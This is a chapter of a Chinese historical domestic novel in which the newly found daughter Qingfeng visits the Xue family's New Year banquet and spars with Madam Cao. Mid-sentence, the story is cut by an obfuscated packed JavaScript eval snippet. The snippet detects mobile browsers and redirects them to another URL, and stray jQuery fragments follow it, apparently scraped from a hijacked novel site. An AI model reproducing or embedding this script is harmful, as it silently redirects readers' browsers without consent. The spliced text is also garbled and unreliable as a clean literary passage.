这是青凤来文平伯府后,第一次出门。
她穿着五彩织金妆花缎的衣裳,外头披着青色素绸羊皮里的斗篷,头上插了一整套金镶红宝的首饰,跟在晏玉娥身后爬进了马车里。
晏玉娥心里很是不痛快,这马车本来是父亲特地给她做的,过去都是她带着俩丫鬟用,现在多了个晏玉姝,自己的东西要分给她一半不说,连丫鬟的位置也要让一个。本来她提议让晏玉姝单独一辆马车,但母亲却说去别人家做客不宜过奢,硬是把这个姐姐塞了过来,现在两个人并排坐着,挪都挪不了一下,别提有多挤多讨厌了。
在徐氏面前她还端的住,等只剩她和青凤两个人的时候,脸立刻就拉了下来。她气哼哼地盯着面前的小几,恨不得把桌面盯出个洞来。
青凤根本没有在意旁边有个人怒火中烧,她摩挲着手腕上的碧玉镯子,觉得今天的打扮实在太花里胡哨了些,她昨天思考许久,是素面朝天更不讨人喜欢,还是浓妆艳抹更让人厌烦,可没等她拿定主意,银灯就传来了徐氏的安排,年节期间,务必要打扮的富贵体面,如果青凤胡乱穿衣服,那就在徐氏的屋子里脱了重换。
为了避免当众脱衣的尴尬,青凤把她现有的最贵重的衣服都堆到了身上,成功把自己打扮的豪华且土气,徐氏皱着眉头看了她半天,最终还是挥手放了过去:“你跟好玉娥,别闹出什么差子。”
青凤觉得徐氏别闹岔子的想法八成是实现不了了,她可不信薛家会欢欢喜喜地接待她这个突然冒出来的晏家女。如果他们真有这么知书达礼,那就不可能非要旧交的女儿嫁给他家病怏怏的大郎君。青凤的脑子里来回思索,若是薛家给她难看,她是不是可以趁机大闹一场?
车里的两个人各有一番心事,等到了薛家,晏玉娥才低声对着青凤说了今天的第一句话:“一会儿见到薛夫人,你可得小心些,别带累的大家一起丢人。”
青凤十分疑惑地扫了她一眼,这人是抽哪门子风,突然就开始冷嘲热讽了起来,她懒得和晏玉娥斗嘴,只当她放了个屁,半句话没和她说,专心跟在徐氏的后面,一路被轿子抬进了薛家内院。可等见到薛夫人,她才发现刚才晏玉娥说的话可能有点道理。
曹氏从早上六开始神思不定,等见到文平伯家刚找回的大女儿时,更是一口气堵在胸口上不来下不去的。她颇为嫌弃地来回打量,觉得对面像只野鸡在冒充凤凰,不仅人长的一般,连穿衣打扮都这么俗气,哪有一点高门贵女的样子,如何配的上自己的大郎。
她心里瞧不起青凤,脸上的笑容也勉强,对着徐氏寒暄了几句,就把目光转到了晏玉娥的身上:“二姑娘出落的越发漂亮了,怎么不常来姨母这里坐坐,你从小在这园子里玩了多少次,长大了还害羞不成?”
晏玉娥脸都僵了,她将要及笄,怎么好再和小时候一样,况且她现在看见薛府就心烦,薛夫人总是用一种十分诡异的态度对待自己,还动不动就提起薛家大郎,天知道自己和他见面的次数都不超过一只手,现在连他长什么样都不知道,到底有什么好提的,大家又不是亲戚。
她心里气恼,面上还得亲亲热热带着笑:“我倒想来夫人这里做客,您这儿的凤尾酥做的最好,我想起来就馋呢。只是现在功课多了不少,我又愚钝,别说出来访亲寻友,就是闲下来打几局围棋都没时间呢。”
曹氏哪里在乎晏玉娥有没有时间,她一伸手就拉住了晏玉娥,把她拽到自己旁边,然后对着徐氏笑了起来:“徐夫人管的也太严厉了,我家那俩小子都不如玉娥这样勤快,她一个女儿家,松快松快又如何,以后出了门子,那忙的时候才叫多呢。”
晏玉娥脸青了一片,她想把手抽出来,但曹氏拽的紧,她总不好动作太大,总不能让别人觉得她不乐意挨曹氏似的。她糟心地看了一眼自己的母亲,发现徐氏脸上仍然是一片平和之色,半点眼风都没投过来,只好又糟心地把目光收了回去,正在心浮气躁之际,刚好看见青凤在旁边两眼放空地发呆,一时间火气上来,拽着青凤的胳膊把她拖近几步,然后扭过脸笑盈盈地对着曹氏说道:“夫人还不认识吧,这是我姐姐玉姝,今天跟着母亲和我一起来您这里吃年酒了呢。”
青凤一把把晏玉娥的手撸了下去,这人怎么和水鬼似的,有点什么事就要拖一个。她抬起头看向薛夫人,她约莫四十来岁的样子,人长的高挑清瘦,如果不是脸上的表情太过虚假做作,那现在也可以称得上一句美人。
薛夫人的眼神轻飘飘地转了过来,青凤假装羞涩地冲她笑了笑。然后一步就退到了晏玉娥的身后,晏玉娥僵了一瞬,扭过头狠狠瞪了她一眼,只可惜青凤正在表演没见过大世面上不得台面是什么样子,半点都没发现她眼里在喷火。
“没想到这么多年,竟然真找回来了,终于圆了你娘一直的心愿,总归是母女团聚了,”曹氏的笑容淡淡的,“徐夫人,看大姑娘的样子年纪也不小了吧?打算给她定个什么样的亲事?要我说女孩也不必太高嫁了,门户低些的更能疼人。”
徐氏戏谑地看了一眼曹氏,薛家心急火燎送了好几回请帖,不就是为了见自己这个大女儿吗?现在真见到了也好意思直接当婚事不存在,还假模假样说起高嫁低嫁来了。她嘴角一翘,对着曹氏意有所指地说道:“她的婚事早就定下来了,文平伯家的女儿,再怎么嫁能低到哪去?对了,你们家大郎君最近好点了吗?年纪轻轻的,早日养好身体,也好早日成亲让你们抱上孙子啊。”
曹氏皮笑肉不笑,晏家想塞个村妇进薛家,那可真是打错了算盘,她捏着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709050|189234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帕子做出一副抱怨的样子,对着徐氏说道:“大夫说让他静养呢,年年天一冷就有些咳嗽,又不敢给他火盆烧的太旺过了烟气,我想着以后取妇也得娶个细心周到的,不然什么都不懂,如何照顾的好大郎?”
徐氏笑而不语,晏玉娥脸色铁青,青凤就当对面在放屁,眼睛看着屋里挂着的琉璃彩灯,等几个人终于你来我往的说够了,曹氏这才停下话头,唤丫鬟去请薛家二房的女眷过来吃饭。
吃年酒不止席面好,还要有趣味,所以薛家请了一班小戏,就在堂屋里摆上,唱了几首当下时兴的民间小曲给夫人姑娘们解闷。青凤对这些不怎么感兴趣,于是专心吃饭,她胃口好,饭量大,又不藏着掖着,一会儿就喝了两碗粥,曹氏看着她更是不高兴,对着她不阴不阳地笑道:“咱们家的女孩都和小猫崽子似的,吃米都用粒数的,瞧瞧晏家的大姑娘,吃的多香,这一顿顶得上瑛儿好几顿呢。”
瑛儿是薛家二房的女儿薛瑛,同晏玉娥差不多大,听了这话抿嘴一笑,青凤抬起头来,扫了一眼几个人的脸色,装作怯生生的样子说道:“我是吃得太多了吗?还望薛夫人恕罪,我来之前母亲一直说薛家和晏家世代交好,让我就和回自己家一样,没想到薛家有数米的规矩,我就不吃了,叫瑛姑娘吃吧。”
徐氏差点绷不住笑出声来,这简直是指着薛家登鼻子骂他们穷酸抠门,别人吃点东西都要在旁边叽叽歪歪。青凤在家里从来都以夫人的名头来称呼自己,没想到出来了还知道谁才是自家人。
她斜着眼瞥了瞥曹氏,看见她又想发怒又不好发怒的样子,心里不由得十分痛快,于是决定再填一把火,详装生气地对青凤说道:“你这孩子,怎么和薛夫人说话呢,堂堂京兆尹府,还能少了你这几口吃食不成?人家夸你,你心眼细,会错了意,还不快给薛夫人赔礼道歉?”
青凤眼里含泪,唯唯诺诺地点了点头,站起来委委屈屈地给曹氏行了个礼,她的声音细若蚊蝇,怎么看都是一副被欺负惨了的样子:“是我心窄,薛夫人千万别生气,我在这里给您赔不是了。”
曹氏被青凤和徐氏的操作气的脸都红了,但人是她自己请来的,对面又是文平伯府,总不能直接在宴席上翻了脸,她额角突突直跳,好半天才挤出一个笑容:“晏大姑娘这是说什么呢,我和你母亲认识几十年了,她的女儿就和我的女儿一样,哪里用得着赔不是,我看你吃的香才多说了两句,没想到惹你烦恼,真是年纪大了话都不会说了。好孩子,快坐下,姨母叫人再给你盛一碗好不好?”
她一边说,一边给旁边的丫鬟使了个眼色,那丫鬟立刻上前,把一瓷盆芡实粳米粥摆到了青凤的眼前,然后拿起碗就给她盛了个满满当当:“这粥多的是,姑娘若是不够吃,再叫厨房做就是了。”